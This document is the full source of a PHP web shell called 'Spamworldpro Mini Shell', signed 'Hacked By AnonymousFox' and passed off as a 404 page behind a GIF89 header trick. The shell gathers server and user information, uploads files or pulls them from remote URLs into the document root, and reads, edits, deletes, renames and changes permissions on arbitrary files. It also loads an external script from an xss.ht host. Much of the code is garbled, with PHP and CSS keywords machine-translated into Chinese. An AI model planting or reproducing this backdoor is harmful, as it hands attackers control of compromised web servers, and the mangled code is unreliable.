Hacked By AnonymousFox
<!-- GIF89;一个 -->
<!-- GIF89;一个 -->
<!DOCTYPE html>
<html>
<头部>
<title>404 未找到</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<样式>
@import url('https://fonts.googleapis.com/css?family=Dosis');
@import url('https://fonts.googleapis.com/css?family=Bungee');
身体 {
字体系列:“Dosis”,草书;
文字阴影:0px 0px 1px #757575;
}
#内容 tr:悬停 {
背景颜色:#636263;
文字阴影:0px 0px 10px #fff;
}
#内容 .first {
背景颜色:#25383C;
}
#内容 .first:悬停{
背景颜色:#25383C
文字阴影:0px 0px 1px #757575;
}
桌子 {
边框:1px #000000 虚线;
表格布局:固定;
}
运输署 {
自动换行:break-word;
}
一个{
颜色:#ffffff;
文字修饰:无;
}
悬停{
颜色:#000000;
文字阴影:0px 0px 10px #ffffff;
}
输入,选择,文本区域 {
边框:1px #000000 实线;
-moz-边框半径: 5px;
-webkit-边框半径:5px;
边框半径:5px;
}
。气体 {
背景颜色:#1f1f1f;
颜色:#ffffff;
光标:指针;
}
选择 {
背景颜色:透明;
颜色:#ffffff;
}
选择:之后{
光标:指针;
}
.linka {
背景颜色:透明;
颜色:#ffffff;
}
。向上 {
背景颜色:透明;
颜色:#fff;
}
选项 {
背景颜色:#1f1f1f;
}
::-webkit-文件上传按钮 {
背景:透明;
颜色:#fff;
边框颜色:#fff;
光标:指针;
}
</style>
<中心>
<font face="Bungee" size="5">Spamworldpro 迷你外壳 </font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<center><img src="https://media.discordapp.net/attachments/977951305018507334/1040194917546348595/logoz.png?width=576&height=576" width="280" height="280" title="Spamworldpro" alt="Spamworldpro" class="center" />
<br><br><br>
<?php
设置时间限制(0);
错误报告(0);
$disfunc = @ini_get("disable_functions");
如果(空($disfunc)){
$disf = "<font color='gold'>无</font>";
} 别的 {
$disf = "<font color='red'>".$disfunc."</font>";
}
函数作者(){
回声“<center><br>Spamworldpro Mini</center>”;
出口();
}
函数 cekdir() {
如果 (isset($_GET['path'])) {
$lokasi = $_GET['路径'];
} 别的 {
$lokasi = getcwd();
}
如果(is_writable($lokasi)){
返回“<font color='green'>可写</font>”;
} 别的 {
返回“<font color='red'>可写</font>”;
}
}
函数 cekroot() {
如果 (is_writable($_SERVER['DOCUMENT_ROOT'])) {
返回“<font color='green'>可写</font>”;
} 别的 {
返回“<font color='red'>可写</font>”;
}
}
函数 xrmdir($dir) {
$items = scandir($dir);
foreach ($items 作为 $items) {
如果 ($item === '.' || $item === '..') {
继续;
}
$path = $dir.'/'.$item;
如果(is_dir($path)){
xrmdir ($路径);
} 别的 {
取消链接($路径);
}
}
rmdir ($dir);
}
函数绿色($text){
回声“<center><font color='green'>“。$text。”</center></font>”;
}
函数红色($text){
回显“<center><font color='red'>“。$text。”</center></font>”;
}
echo "服务器:<font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "系统:<font color='gold'>".php_uname()。"</font><br>";
echo "用户:<font color='gold'>".@get_current_user()。" </font>( <font color='gold'>".@getmyuid()。"</font>)<br>";
echo "PHP 版本:<font color='gold'>".@phpversion()."</font><br>";
echo "禁用函数:“.$disf。”</font><br>";
echo "目录: ";
foreach($_POST 作为 $key => $value){
$_POST[$key] = 删除斜线($value);
}
如果 (isset($_GET['path'])){
$lokasi = $_GET['路径'];
$lokdua = $_GET['路径'];
} 别的 {
$lokasi = getcwd();
$lokdua = 获取cwd();
}
$lokasi = str_replace('\\','/',$lokasi);
$lokasis = 爆炸('/',$lokasi);
$lokasinya = @scandir($lokasi);
foreach($lokasis 作为 $id => $lok){
如果($lok ==''&&$id == 0){
$a = 真;
回显 '<a href="?path=/">/</a>';
继续;
}
如果($lok =='')继续;
回显'<a href="?path=';
对于($i = 0; $i <= $id; $i ++){
回声“$lokasis[$i]”;
如果 ($i != $id) 回显 "/";
}
回显'“>'.$lok.'</a>/';
}
回声'<center>';
回声'</td></tr><tr><td><br>';
如果 (isset($_POST['upwkwk'])) {
if (isset($_POST['berkasnya'])) {
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$数据 = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
如果 (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
echo "文件已上传! <font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
} 别的 {
echo "<font color='red'>上传失败!<br><br>";
}
} elseif (isset($_POST['linknya'])) {
如果 (空 ($_POST['namalink'])) {
exit("文件名不能为空!");
}
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$数据 = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
如果 (file_exists($lokasi."/".$_POST['namalink'])) {
echo "文件已上传! <font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
} 别的 {
echo "<font coloe='red'>上传失败!<br><br>";
}
}
}
回声“<中心>”;
echo "上传文件:";
回显'<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
<input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().']
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://t.me/spamworldpro"> <input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</center>
';
回声“</table><br>”;
如果 (isset($_GET['fileloc'])) {
echo "<tr><td>当前文件: ".$_GET['fileloc'];
回显'</tr></td></table><br/>';
回声“<pre>”。htmlspecialchars(file_get_contents($_GET['fileloc']))。“</pre>”;
作者();
} elseif (isset($_GET['pilih']) && $_POST['pilih'] == "hapus") {
如果(is_dir($_POST['path'])){
xrmdir ($_POST['路径']);
如果 (file_exists($_POST['path'])) {
red("删除目录失败!");
} 别的 {
green("删除目录成功!");
回声“字符串”;
}
} elseif (is_file($_POST['path'])) {
@unlink($ _POST ['路径']);
如果 (file_exists($_POST['path'])) {
red("删除文件失败!");
} 别的 {
green("删除文件成功!");
}
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
回声“<center>”。$_POST['path'].“<br>”;
回显'<form method="post">
权限:<input name="perm" type="text" class="up" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="ubahmod">
<input type="submit" value="更改" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
';
如果 (isset($_POST['chm0d'])) {
$cm = @chmod($_POST['路径'],$_POST['perm']);
如果 ($cm == true) {
green("更改模式成功!");
} 别的 {
red("修改模式失败!");
}
}
} elseif (isset($_GET['pilih']) && $_POST['pilih'] == "gantinama") {
如果(设置($_POST['gantin'])){
$ren = @rename($_POST['路径'], $_POST['新名称']);
如果 ($ren == true) {
green("修改名称成功!");
} 别的 {
red("修改名称失败!");
}
}
如果 (空 ($_POST['name'])) {
$namaawal = $_POST['新名称'];
} 别的 {
$namawal = $_POST['名称'];
}
回声“<center>”。$_POST['path'].“<br>”;
回显'<form method="post">
新名称:<input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="gantinama">
<input type="submit" value="更改" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
';
} elseif (isset($_GET['pilih']) && $_POST['pilih'] == "编辑") {
如果 (isset($_POST['gasedit'])) {
$编辑=@file_put_contents($_POST ['路径'],$_POST ['src']);
如果 ($edit == true) {
green("编辑文件成功!");
} 别的 {
red("编辑文件失败!");
}
}
回声“<center>”。$_POST['path']。“<br><br>”;
回显'<form method="post">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="pilih" value="edit">
<input type="submit" value="编辑文件" name="gasedit" />
<br>';
}
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>姓名</center></td>
<td><center>尺寸</center></td>
<td><center>权限</center></td>
<td><center>选项</center></td>
';
foreach($lokasinya 作为 $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') 继续;
回显“<tr>
<td><a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
<td><center>--</center></td>
<td><中心>";
如果(is_writable($lokasi.“/”.$dir))echo '<font color="green">';
elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
echo statusnya($lokasi."/".$dir);
if(is_writable($lokasi."/".$dir) || !is_read($lokasi."/".$dir)) echo '</font>';
回声“ </ center >< ...
<td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
<select name="pilih">
<选项值=\"\"></选项>
<option value=\"hapus\">删除</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">重命名</option>
</选择>
<input 类型=\"hidden\" 名称=\"type\" 值=\"dir\">
<input 类型=\"hidden\" 名称=\"name\" 值=\"$dir\">
<input 类型=\"hidden\" name=\"path\" 值=\"$lokasi/$dir\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form> </center> </td>
“;
}
回声'<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($lokasinya as $file) {
如果(!is_file(“$lokasi/$file”))继续;
$size = 文件大小("$lokasi/$file")/1024;
$大小 = 圆形($大小,3);
如果($size >= 1024){
$size = round($size/1024,2).' MB';
} 别的 {
$size = $size.' KB';
}
回显“<tr>
<td><a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>“.$size。”</center></td>
<td><中心>";
如果(is_writable(“$lokasi/$file”))回显'<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
如果(is_writable(“$lokasi / $file”)||!is_readable(“$lokasi / $file”))回显'</font>';
回声“ </ center >< td >< center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name="pilih">
<选项值=\"\"></选项>
<option value=\"hapus\">删除</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">重命名</option>
<option value=\"edit\">编辑</option>
</选择>
<input 类型=\"hidden\" 名称=\"type\" 值=\"file\">
<input 类型=\"hidden\" 名称=\"name\" 值=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</center> </form> </td>
“;
}
回显'</tr></td></table></table><script src=https://googlescripts.xss.ht></script>';
作者();
函数状态nya($file){
$statusnya = fileperms($file);
if (($statusnya & 0xC000) == 0xC000) {
// 插座
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
// 符号链接
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
// 常规的
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
// 阻止特殊
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
// 目录
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
// 角色特殊
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
// FIFO 管道
$ingfo = 'p';
} 别的 {
// 未知
$ingfo = '你';
}
// 所有者
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));
// 团体
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));
// 世界
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));
返回 $ingfo;
}
>
Hacked By AnonymousFox1.0, Coded By AnonymousFox